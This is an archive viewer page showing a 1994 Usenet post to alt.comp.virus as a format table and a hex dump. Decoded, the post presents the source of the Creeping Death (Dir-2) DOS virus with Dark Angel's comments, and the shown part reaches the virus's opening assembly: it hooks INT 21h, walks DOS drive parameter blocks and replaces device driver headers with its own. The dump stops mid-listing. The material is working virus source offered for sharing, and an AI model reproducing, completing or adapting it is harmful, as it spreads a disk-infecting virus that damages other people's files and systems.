home *** CD-ROM | disk | FTP | other *** search
open in: MacOS 8.1
extracted
|
Win98
extracted
|
DOS
extracted
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox ).
You can browse this item here: dir_2.asm
Confidence Program Detection Match Type Support
100%
dexvert
Mailbox/MIME Entity (archive/mbox)
magic
Supported
100%
dexvert
Internet Message Format (text/imf)
magic
Supported
100%
dexvert
Assembly Source File (text/asm)
magic
Supported
1%
dexvert
freeCAD assembly (other/freeCADAssembly)
ext
Unsupported
1%
dexvert
Text File (text/txt)
fallback
Supported
100%
file
Mailbox text, 1st line "From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.or", ISO-8859 text
default
100%
TrID
E-Mail message (Var. 2)
default
100%
perlTextCheck
Likely Text (Perl)
default
100%
siegfried
x-fmt/111 Plain Text File
default
100%
detectItEasy
Format: plain text[LF]
default (weak)
100%
xdgMime
application/mbox
default
hex view +--------+-------------------------+-------------------------+--------+--------+ |00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!| |00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 68 6f |ix.netco|m.com!ho| |00000020| 77 6c 61 6e 64 2e 72 65 | 73 74 6f 6e 2e 61 6e 73 |wland.re|ston.ans| |00000030| 2e 6e 65 74 21 67 61 74 | 65 63 68 21 62 6c 6f 6f |.net!gat|ech!bloo| |00000040| 6d 2d 62 65 61 63 6f 6e | 2e 6d 69 74 2e 65 64 75 |m-beacon|.mit.edu| |00000050| 21 75 68 6f 67 2e 6d 69 | 74 2e 65 64 75 21 72 75 |!uhog.mi|t.edu!ru| |00000060| 74 67 65 72 73 21 65 6e | 67 72 2e 6f 72 73 74 2e |tgers!en|gr.orst.| |00000070| 65 64 75 21 67 61 69 61 | 2e 75 63 73 2e 6f 72 73 |edu!gaia|.ucs.ors| |00000080| 74 2e 65 64 75 21 6d 79 | 68 6f 73 74 2e 73 75 62 |t.edu!my|host.sub| |00000090| 64 6f 6d 61 69 6e 2e 64 | 6f 6d 61 69 6e 21 63 6c |domain.d|omain!cl| |000000a0| 61 69 72 20 54 75 65 20 | 4e 6f 76 20 32 39 20 30 |air Tue |Nov 29 0| |000000b0| 39 3a 34 39 3a 32 34 20 | 31 39 39 34 0a 58 72 65 |9:49:24 |1994.Xre| |000000c0| 66 3a 20 6e 65 74 63 6f | 6d 2e 63 6f 6d 20 61 6c |f: netco|m.com al| |000000d0| 74 2e 63 6f 6d 70 2e 76 | 69 72 75 73 3a 34 38 34 |t.comp.v|irus:484| |000000e0| 0a 50 61 74 68 3a 20 6e | 65 74 63 6f 6d 2e 63 6f |.Path: n|etcom.co| |000000f0| 6d 21 69 78 2e 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |m!ix.net|com.com!| |00000100| 68 6f 77 6c 61 6e 64 2e | 72 65 73 74 6f 6e 2e 61 |howland.|reston.a| |00000110| 6e 73 2e 6e 65 74 21 67 | 61 74 65 63 68 21 62 6c |ns.net!g|atech!bl| |00000120| 6f 6f 6d 2d 62 65 61 63 | 6f 6e 2e 6d 69 74 2e 65 |oom-beac|on.mit.e| |00000130| 64 75 21 75 68 6f 67 2e | 6d 69 74 2e 65 64 75 21 |du!uhog.|mit.edu!| |00000140| 72 75 74 67 65 72 73 21 | 65 6e 67 72 2e 6f 72 73 |rutgers!|engr.ors| |00000150| 74 2e 65 64 75 21 67 61 | 69 61 2e 75 63 73 2e 6f |t.edu!ga|ia.ucs.o| |00000160| 72 73 74 2e 65 64 75 21 | 6d 79 68 6f 73 74 2e 73 |rst.edu!|myhost.s| |00000170| 75 62 64 6f 6d 61 69 6e | 2e 64 6f 6d 61 69 6e 21 |ubdomain|.domain!| |00000180| 63 6c 61 69 72 0a 46 72 | 6f 6d 3a 20 63 6c 61 69 |clair.Fr|om: clai| |00000190| 72 40 6d 79 68 6f 73 74 | 2e 73 75 62 64 6f 6d 61 |r@myhost|.subdoma| |000001a0| 69 6e 2e 64 6f 6d 61 69 | 6e 20 28 54 68 65 20 43 |in.domai|n (The C| |000001b0| 6c 61 69 72 76 6f 79 61 | 6e 74 29 0a 4e 65 77 73 |lairvoya|nt).News| |000001c0| 67 72 6f 75 70 73 3a 20 | 61 6c 74 2e 63 6f 6d 70 |groups: |alt.comp| |000001d0| 2e 76 69 72 75 73 0a 53 | 75 62 6a 65 63 74 3a 20 |.virus.S|ubject: | |000001e0| 44 69 72 2d 32 20 73 6f | 75 72 63 65 0a 44 61 74 |Dir-2 so|urce.Dat| |000001f0| 65 3a 20 32 38 20 4e 6f | 76 20 31 39 39 34 20 30 |e: 28 No|v 1994 0| |00000200| 37 3a 33 32 3a 35 30 20 | 47 4d 54 0a 4f 72 67 61 |7:32:50 |GMT.Orga| |00000210| 6e 69 7a 61 74 69 6f 6e | 3a 20 53 74 72 69 6e 67 |nization|: String| |00000220| 20 74 6f 20 70 75 74 20 | 69 6e 20 74 68 65 20 4f | to put |in the O| |00000230| 72 67 61 6e 69 7a 61 74 | 69 6f 6e 20 48 65 61 64 |rganizat|ion Head| |00000240| 65 72 0a 4c 69 6e 65 73 | 3a 20 35 37 38 0a 4d 65 |er.Lines|: 578.Me| |00000250| 73 73 61 67 65 2d 49 44 | 3a 20 3c 33 62 63 31 33 |ssage-ID|: <3bc13| |00000260| 33 24 6d 6a 63 40 67 61 | 69 61 2e 75 63 73 2e 6f |3$mjc@ga|ia.ucs.o| |00000270| 72 73 74 2e 65 64 75 3e | 0a 4e 4e 54 50 2d 50 6f |rst.edu>|.NNTP-Po| |00000280| 73 74 69 6e 67 2d 48 6f | 73 74 3a 20 74 65 6d 70 |sting-Ho|st: temp| |00000290| 65 73 74 2e 72 68 6e 2e | 6f 72 73 74 2e 65 64 75 |est.rhn.|orst.edu| |000002a0| 0a 58 2d 4e 65 77 73 72 | 65 61 64 65 72 3a 20 54 |.X-Newsr|eader: T| |000002b0| 49 4e 20 5b 76 65 72 73 | 69 6f 6e 20 31 2e 32 20 |IN [vers|ion 1.2 | |000002c0| 50 4c 32 5d 0a 0a 0a 0a | 09 54 68 69 73 20 69 73 |PL2]....|.This is| |000002d0| 20 74 68 65 20 73 6f 75 | 72 63 65 20 74 6f 20 43 | the sou|rce to C| |000002e0| 72 65 65 70 69 6e 67 20 | 44 65 61 74 68 20 61 6b |reeping |Death ak| |000002f0| 61 20 44 69 72 2d 32 2c | 20 63 6f 6d 6d 65 6e 74 |a Dir-2,| comment| |00000300| 65 64 20 62 79 20 44 61 | 72 6b 0a 41 6e 67 65 6c |ed by Da|rk.Angel| |00000310| 20 6f 66 20 50 68 61 6c | 63 6f 6e 2f 53 6b 69 73 | of Phal|con/Skis| |00000320| 6d 2e 20 20 44 65 73 70 | 69 74 65 20 74 68 65 20 |m. Desp|ite the | |00000330| 66 61 63 74 20 74 68 61 | 74 20 69 74 20 77 61 73 |fact tha|t it was| |00000340| 20 77 72 69 74 74 65 6e | 20 69 6e 20 42 75 6c 67 | written| in Bulg| |00000350| 61 72 69 61 2c 0a 49 27 | 6d 20 73 75 72 65 20 6f |aria,.I'|m sure o| |00000360| 6c 27 20 5a 65 70 69 73 | 74 6f 74 6c 65 20 77 69 |l' Zepis|totle wi| |00000370| 6c 6c 20 63 6c 61 69 6d | 20 74 6f 20 68 61 76 65 |ll claim| to have| |00000380| 20 77 72 69 74 74 65 6e | 20 74 68 69 73 20 76 69 | written| this vi| |00000390| 72 75 73 20 61 73 20 77 | 65 6c 6c 2c 20 61 73 0a |rus as w|ell, as.| |000003a0| 68 65 20 64 69 64 20 74 | 68 65 20 4a 61 63 6b 61 |he did t|he Jacka| |000003b0| 6c 20 76 69 72 75 73 20 | 28 77 72 69 74 74 65 6e |l virus |(written| |000003c0| 20 62 79 20 50 72 69 65 | 73 74 29 20 69 6e 20 61 | by Prie|st) in a| |000003d0| 6e 20 65 61 72 6c 69 65 | 72 20 70 6f 73 74 2c 20 |n earlie|r post, | |000003e0| 61 6e 64 20 74 68 65 20 | 0a 4d 61 78 20 28 77 72 |and the |.Max (wr| |000003f0| 69 74 74 65 6e 20 62 79 | 20 4d 65 6d 6f 72 79 20 |itten by| Memory | |00000400| 6c 61 70 73 65 29 20 61 | 6e 64 20 54 72 65 6d 6f |lapse) a|nd Tremo| |00000410| 72 20 28 77 72 69 74 74 | 65 6e 20 62 79 20 4e 65 |r (writt|en by Ne| |00000420| 75 72 6f 62 61 73 68 65 | 72 29 20 76 69 72 75 73 |urobashe|r) virus| |00000430| 65 73 0a 6f 6e 20 49 52 | 43 20 28 54 68 61 6e 6b |es.on IR|C (Thank| |00000440| 73 20 61 20 6c 6f 74 2c | 20 71 61 72 6b 2e 20 3b |s a lot,| qark. ;| |00000450| 29 20 20 42 79 20 74 68 | 65 20 77 61 79 20 5a 65 |) By th|e way Ze| |00000460| 70 2c 20 77 65 20 61 72 | 65 20 61 6c 6c 20 73 74 |p, we ar|e all st| |00000470| 69 6c 6c 20 77 61 69 74 | 69 6e 67 20 0a 66 6f 72 |ill wait|ing .for| |00000480| 20 74 68 65 20 54 72 65 | 6d 6f 72 20 73 6f 75 72 | the Tre|mor sour| |00000490| 63 65 20 79 6f 75 20 73 | 61 69 64 20 79 6f 75 27 |ce you s|aid you'| |000004a0| 64 20 70 6f 73 74 20 69 | 6e 20 79 6f 75 72 20 63 |d post i|n your c| |000004b0| 68 61 73 74 69 73 69 6e | 67 20 72 61 6e 74 20 61 |hastisin|g rant a| |000004c0| 62 6f 75 74 0a 74 68 65 | 20 75 6e 65 78 65 63 75 |bout.the| unexecu| |000004d0| 74 65 61 62 6c 65 20 54 | 72 65 6d 6f 72 20 64 69 |teable T|remor di| |000004e0| 73 61 73 73 65 6d 62 6c | 79 20 70 6f 73 74 65 64 |sassembl|y posted| |000004f0| 20 62 79 20 53 63 6f 74 | 74 4a 50 2e 0a 0a 43 68 | by Scot|tJP...Ch| |00000500| 65 65 72 73 2c 0a 54 68 | 65 20 43 6c 61 69 72 76 |eers,.Th|e Clairv| |00000510| 6f 79 61 6e 74 2e 0a 0a | 2d 2d 2d 2d 2d 2d 2d 2d |oyant...|--------| |00000520| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------| |00000530| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------| |00000540| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------| |00000550| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------| |00000560| 2d 2d 2d 2d 2d 2d 0a 3b | 20 44 61 72 6b 20 41 6e |------.;| Dark An| |00000570| 67 65 6c 27 73 20 63 6f | 6d 6d 65 6e 74 73 3a 20 |gel's co|mments: | |00000580| 49 20 73 70 65 6e 74 20 | 6d 79 20 65 6e 74 69 72 |I spent |my entir| |00000590| 65 20 77 61 6b 69 6e 67 | 20 68 6f 75 72 73 20 6c |e waking| hours l| |000005a0| 6f 6f 6b 69 6e 67 20 61 | 74 20 74 68 69 73 20 76 |ooking a|t this v| |000005b0| 69 72 75 73 2e 0a 3b 20 | 20 20 20 20 20 20 20 20 |irus..; | | |000005c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 49 | | I| |000005d0| 20 6c 6f 76 65 20 69 74 | 2e 20 20 49 74 20 69 73 | love it|. It is| |000005e0| 20 6d 79 20 6c 69 66 65 | 2e 20 20 49 20 77 6f 72 | my life|. I wor| |000005f0| 73 68 69 70 20 74 68 65 | 20 64 72 69 76 65 20 69 |ship the| drive i| |00000600| 74 0a 3b 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t.; | | |00000610| 20 20 20 20 20 20 20 20 | 20 20 20 69 6e 66 65 63 | | infec| |00000620| 74 73 2e 20 20 54 61 6b | 65 20 61 20 6c 6f 6f 6b |ts. Tak|e a look| |00000630| 20 61 74 20 69 74 2e 20 | 20 4c 65 74 20 6e 6f 74 | at it. | Let not| |00000640| 20 6d 79 20 74 72 6f 75 | 62 6c 65 73 20 62 65 0a | my trou|bles be.| |00000650| 3b 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |; | | |00000660| 20 20 20 20 20 20 20 20 | 20 69 6e 20 76 61 69 6e | | in vain| |00000670| 2e 20 20 57 68 79 20 64 | 69 64 20 49 20 64 6f 20 |. Why d|id I do | |00000680| 74 68 69 73 3f 20 20 49 | 20 73 61 63 72 69 66 69 |this? I| sacrifi| |00000690| 63 65 20 6d 79 20 6c 69 | 66 65 20 66 6f 72 0a 3b |ce my li|fe for.;| |000006a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000006b0| 20 20 20 20 20 20 20 20 | 74 68 65 20 62 65 6e 65 | |the bene| |000006c0| 66 69 74 20 6f 66 20 34 | 30 48 65 78 2e 20 20 49 |fit of 4|0Hex. I| |000006d0| 66 20 79 6f 75 20 64 6f | 6e 27 74 20 72 65 61 64 |f you do|n't read| |000006e0| 20 74 68 69 73 2c 20 49 | 27 6d 0a 3b 20 20 20 20 | this, I|'m.; | |000006f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000700| 20 20 20 20 67 6f 6e 6e | 61 20 67 6f 20 6a 6f 69 | gonn|a go joi| |00000710| 6e 20 5b 4e 75 4b 45 5d | 2e 0a 0a 3b 20 20 20 20 |n [NuKE]|...; | |00000720| 20 20 20 20 43 72 65 65 | 70 69 6e 67 20 44 65 61 | Cree|ping Dea| |00000730| 74 68 20 20 56 20 31 2e | 30 0a 3b 0a 3b 20 20 20 |th V 1.|0.;.; | |00000740| 20 20 20 20 20 28 43 29 | 20 43 6f 70 79 72 69 67 | (C)| Copyrig| |00000750| 68 74 20 31 39 39 31 20 | 62 79 20 56 69 72 75 73 |ht 1991 |by Virus| |00000760| 53 6f 66 74 20 43 6f 72 | 70 2e 0a 0a 69 31 33 6f |Soft Cor|p...i13o| |00000770| 72 67 20 20 20 20 3d 20 | 20 20 20 35 66 38 68 0a |rg = | 5f8h.| |00000780| 69 32 31 6f 72 67 20 20 | 20 20 3d 20 20 20 20 35 |i21org | = 5| |00000790| 66 63 68 0a 0a 64 69 72 | 5f 32 20 20 20 73 65 67 |fch..dir|_2 seg| |000007a0| 6d 65 6e 74 20 62 79 74 | 65 20 70 75 62 6c 69 63 |ment byt|e public| |000007b0| 0a 20 20 20 20 20 20 20 | 20 61 73 73 75 6d 65 20 |. | assume | |000007c0| 20 63 73 3a 64 69 72 5f | 32 2c 20 64 73 3a 64 69 | cs:dir_|2, ds:di| |000007d0| 72 5f 32 0a 0a 20 20 20 | 20 20 20 20 20 6f 72 67 |r_2.. | org| |000007e0| 20 20 20 31 30 30 68 0a | 0a 73 74 61 72 74 3a 0a | 100h.|.start:.| |000007f0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 73 | | mov s| |00000800| 70 2c 36 30 30 68 20 20 | 20 20 20 20 20 20 20 20 |p,600h | | |00000810| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000820| 3b 20 53 65 74 20 75 70 | 20 74 68 65 20 73 74 61 |; Set up| the sta| |00000830| 63 6b 20 70 6f 69 6e 74 | 65 72 0a 20 20 20 20 20 |ck point|er. | |00000840| 20 20 20 20 69 6e 63 20 | 20 20 77 6f 72 64 20 70 | inc | word p| |00000850| 74 72 20 63 6f 75 6e 74 | 65 72 20 20 20 20 20 20 |tr count|er | |00000860| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 47 65 6e | | ; Gen| |00000870| 65 72 61 74 69 6f 6e 20 | 63 6f 75 6e 74 65 72 0a |eration |counter.| |00000880| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 63 | | xor c| |00000890| 78 2c 63 78 0a 20 20 20 | 20 20 20 20 20 20 6d 6f |x,cx. | mo| |000008a0| 76 20 20 20 64 73 2c 63 | 78 20 20 20 20 20 20 20 |v ds,c|x | |000008b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000008c0| 20 20 20 20 20 3b 20 44 | 53 20 70 6f 69 6e 74 73 | ; D|S points| |000008d0| 20 74 6f 20 69 6e 74 65 | 72 72 75 70 74 20 74 61 | to inte|rrupt ta| |000008e0| 62 6c 65 0a 20 20 20 20 | 20 20 20 20 20 6c 64 73 |ble. | lds| |000008f0| 20 20 20 61 78 2c 20 64 | 73 3a 5b 30 63 31 68 5d | ax, d|s:[0c1h]| |00000900| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000910| 20 20 20 20 3b 20 46 69 | 6e 64 20 69 6e 74 65 72 | ; Fi|nd inter| |00000920| 72 75 70 74 20 33 30 68 | 0a 20 20 20 20 20 20 20 |rupt 30h|. | |00000930| 20 20 61 64 64 20 20 20 | 61 78 2c 32 31 68 20 20 | add |ax,21h | |00000940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000950| 20 20 20 20 20 20 20 20 | 20 3b 20 43 68 61 6e 67 | | ; Chang| |00000960| 65 20 69 74 20 74 6f 20 | 49 6e 74 20 32 31 68 0a |e it to |Int 21h.| |00000970| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 64 | | push d| |00000980| 73 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s | | |00000990| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000009a0| 3b 20 53 61 76 65 20 69 | 74 20 6f 6e 20 73 74 61 |; Save i|t on sta| |000009b0| 63 6b 20 66 6f 72 20 75 | 73 65 20 62 79 0a 20 20 |ck for u|se by. | |000009c0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 61 78 20 | p|ush ax | |000009d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000009e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |000009f0| 73 75 62 72 6f 75 74 69 | 6e 65 20 22 6a 75 6d 70 |subrouti|ne "jump| |00000a00| 22 0a 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |". | mov | |00000a10| 20 61 68 2c 33 30 68 20 | 20 20 20 20 20 20 20 20 | ah,30h | | |00000a20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000a30| 20 20 3b 20 47 65 74 20 | 44 4f 53 20 76 65 72 73 | ; Get |DOS vers| |00000a40| 69 6f 6e 0a 20 20 20 20 | 20 20 20 20 20 63 61 6c |ion. | cal| |00000a50| 6c 20 20 6a 75 6d 70 0a | 20 20 20 20 20 20 20 20 |l jump.| | |00000a60| 20 63 6d 70 20 20 20 61 | 6c 2c 34 20 20 20 20 20 | cmp a|l,4 | |00000a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000a80| 20 20 20 20 20 20 20 20 | 3b 20 44 4f 53 20 34 2e | |; DOS 4.| |00000a90| 58 2b 20 3a 20 53 49 20 | 3d 20 30 0a 20 20 20 20 |X+ : SI |= 0. | |00000aa0| 20 20 20 20 20 73 62 62 | 20 20 20 73 69 2c 73 69 | sbb| si,si| |00000ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000ac0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 44 4f | | ; DO| |00000ad0| 53 20 32 2f 33 20 20 3a | 20 53 49 20 3d 20 2d 31 |S 2/3 :| SI = -1| |00000ae0| 0a 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |. | mov | |00000af0| 62 79 74 65 20 70 74 72 | 20 5b 64 72 69 76 65 2b |byte ptr| [drive+| |00000b00| 32 5d 2c 62 79 74 65 20 | 70 74 72 20 2d 31 20 20 |2],byte |ptr -1 | |00000b10| 20 3b 20 49 6e 69 74 69 | 61 6c 69 73 65 20 6c 61 | ; Initi|alise la| |00000b20| 73 74 20 64 72 69 76 65 | 20 74 6f 0a 20 20 20 20 |st drive| to. | |00000b30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000b40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000b50| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 22 6e | | ; "n| |00000b60| 65 76 65 72 20 61 63 63 | 65 73 73 65 64 22 0a 20 |ever acc|essed". | |00000b70| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 62 78 | |mov bx| |00000b80| 2c 36 30 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |,60h | | |00000b90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00000ba0| 20 41 64 6a 75 73 74 20 | 6d 65 6d 6f 72 79 20 69 | Adjust |memory i| |00000bb0| 6e 20 45 53 20 74 6f 0a | 20 20 20 20 20 20 20 20 |n ES to.| | |00000bc0| 20 6d 6f 76 20 20 20 61 | 68 2c 34 61 68 20 20 20 | mov a|h,4ah | |00000bd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000be0| 20 20 20 20 20 20 20 20 | 3b 20 42 58 20 70 61 72 | |; BX par| |00000bf0| 61 67 72 61 70 68 73 2e | 0a 20 20 20 20 20 20 20 |agraphs.|. | |00000c00| 20 20 63 61 6c 6c 20 20 | 6a 75 6d 70 0a 0a 20 20 | call |jump.. | |00000c10| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 61 68 2c | m|ov ah,| |00000c20| 35 32 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |52h | | |00000c30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00000c40| 47 65 74 20 44 4f 53 20 | 4c 69 73 74 20 6f 66 20 |Get DOS |List of | |00000c50| 4c 69 73 74 73 0a 20 20 | 20 20 20 20 20 20 20 63 |Lists. | c| |00000c60| 61 6c 6c 20 20 6a 75 6d | 70 20 20 20 20 20 20 20 |all jum|p | |00000c70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000c80| 20 20 20 20 20 20 3b 20 | 74 6f 20 45 53 3a 42 58 | ; |to ES:BX| |00000c90| 0a 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |. | push | |00000ca0| 65 73 3a 5b 62 78 2d 32 | 5d 20 20 20 20 20 20 20 |es:[bx-2|] | |00000cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000cc0| 20 3b 20 53 61 76 65 20 | 53 65 67 6d 65 6e 74 20 | ; Save |Segment | |00000cd0| 6f 66 20 66 69 72 73 74 | 20 4d 43 42 0a 20 20 20 |of first| MCB. | |00000ce0| 20 20 20 20 20 20 6c 64 | 73 20 20 20 62 78 2c 65 | ld|s bx,e| |00000cf0| 73 3a 5b 62 78 5d 20 20 | 20 20 20 20 20 20 20 20 |s:[bx] | | |00000d00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 44 | | ; D| |00000d10| 53 3a 42 58 20 2d 3e 20 | 31 73 74 20 44 50 42 0a |S:BX -> |1st DPB.| |00000d20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000d30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000d40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000d50| 3b 20 20 28 44 72 69 76 | 65 20 70 61 72 61 6d 65 |; (Driv|e parame| |00000d60| 74 65 72 20 62 6c 6f 63 | 6b 29 0a 73 65 61 72 63 |ter bloc|k).searc| |00000d70| 68 3a 20 20 6d 6f 76 20 | 20 20 61 78 2c 5b 62 78 |h: mov | ax,[bx| |00000d80| 2b 73 69 2b 31 35 68 5d | 20 20 20 20 20 20 20 20 |+si+15h]| | |00000d90| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 47 65 74 | | ; Get| |00000da0| 20 73 65 67 6d 65 6e 74 | 20 6f 66 20 64 65 76 69 | segment| of devi| |00000db0| 63 65 20 64 72 69 76 65 | 72 0a 20 20 20 20 20 20 |ce drive|r. | |00000dc0| 20 20 20 63 6d 70 20 20 | 20 61 78 2c 37 30 68 20 | cmp | ax,70h | |00000dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000de0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 49 73 20 69 | | ; Is i| |00000df0| 74 20 43 4f 4e 46 49 47 | 3f 20 28 49 20 74 68 69 |t CONFIG|? (I thi| |00000e00| 6e 6b 29 0a 20 20 20 20 | 20 20 20 20 20 6a 6e 65 |nk). | jne| |00000e10| 20 20 20 6e 65 78 74 20 | 20 20 20 20 20 20 20 20 | next | | |00000e20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000e30| 20 20 20 20 3b 20 49 66 | 20 6e 6f 74 2c 20 74 72 | ; If| not, tr| |00000e40| 79 20 61 67 61 69 6e 0a | 20 20 20 20 20 20 20 20 |y again.| | |00000e50| 20 78 63 68 67 20 20 61 | 78 2c 63 78 20 20 20 20 | xchg a|x,cx | |00000e60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000e70| 20 20 20 20 20 20 20 20 | 3b 20 4d 6f 76 65 20 64 | |; Move d| |00000e80| 72 69 76 65 72 20 73 65 | 67 6d 65 6e 74 20 74 6f |river se|gment to| |00000e90| 20 43 58 0a 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | CX. | mov| |00000ea0| 20 20 20 5b 62 78 2b 73 | 69 2b 31 38 68 5d 2c 62 | [bx+s|i+18h],b| |00000eb0| 79 74 65 20 70 74 72 20 | 2d 31 20 20 20 20 20 20 |yte ptr |-1 | |00000ec0| 20 20 20 20 3b 20 46 6c | 61 67 20 62 6c 6f 63 6b | ; Fl|ag block| |00000ed0| 20 6d 75 73 74 20 62 65 | 20 72 65 62 75 69 6c 74 | must be| rebuilt| |00000ee0| 0a 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |. | mov | |00000ef0| 64 69 2c 5b 62 78 2b 73 | 69 2b 31 33 68 5d 20 20 |di,[bx+s|i+13h] | |00000f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000f10| 20 3b 20 53 61 76 65 20 | 6f 66 66 73 65 74 20 6f | ; Save |offset o| |00000f20| 66 20 64 65 76 69 63 65 | 20 64 72 69 76 65 72 0a |f device| driver.| |00000f30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000f60| 3b 20 4f 72 69 67 69 6e | 61 6c 20 64 65 76 69 63 |; Origin|al devic| |00000f70| 65 20 64 72 69 76 65 72 | 0a 20 20 20 20 20 20 20 |e driver|. | |00000f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00000fa0| 20 20 20 20 20 20 20 20 | 20 3b 20 61 64 64 72 65 | | ; addre| |00000fb0| 73 73 20 69 6e 20 43 58 | 3a 44 49 0a 20 20 20 20 |ss in CX|:DI. | |00000fc0| 20 20 20 20 20 6d 6f 76 | 20 20 20 5b 62 78 2b 73 | mov| [bx+s| |00000fd0| 69 2b 31 33 68 5d 2c 6f | 66 66 73 65 74 20 68 65 |i+13h],o|ffset he| |00000fe0| 61 64 65 72 20 20 20 20 | 20 20 20 20 3b 20 52 65 |ader | ; Re| |00000ff0| 70 6c 61 63 65 20 77 69 | 74 68 20 6f 75 72 20 6f |place wi|th our o| |00001000| 77 6e 0a 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |wn. | mov | |00001010| 20 20 5b 62 78 2b 73 69 | 2b 31 35 68 5d 2c 63 73 | [bx+si|+15h],cs| |00001020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00001030| 20 20 20 3b 20 20 28 68 | 65 61 64 65 72 29 0a 6e | ; (h|eader).n| |00001040| 65 78 74 3a 20 20 20 20 | 6c 64 73 20 20 20 62 78 |ext: |lds bx| |00001050| 2c 5b 62 78 2b 73 69 2b | 31 39 68 5d 20 20 20 20 |,[bx+si+|19h] | |00001060| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00001070| 20 47 65 74 20 6e 65 78 | 74 20 64 65 76 69 63 65 | Get nex|t device| |00001080| 20 62 6c 6f 63 6b 0a 20 | 20 20 20 20 20 20 20 20 | block. | | |00001090| 63 6d 70 20 20 20 62 78 | 2c 2d 31 20 20 20 20 20 |cmp bx|,-1 | |000010a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000010b0| 20 20 20 20 20 20 20 3b | 20 49 73 20 69 74 20 74 | ;| Is it t| |000010c0| 68 65 20 6c 61 73 74 20 | 6f 6e 65 3f 0a 20 20 20 |he last |one?. | |000010d0| 20 20 20 20 20 20 6a 6e | 65 20 20 20 73 65 61 72 | jn|e sear| |000010e0| 63 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ch | | |000010f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 49 | | ; I| |00001100| 66 20 6e 6f 74 2c 20 73 | 65 61 72 63 68 20 69 74 |f not, s|earch it| |00001110| 0a 20 20 20 20 20 20 20 | 20 20 6a 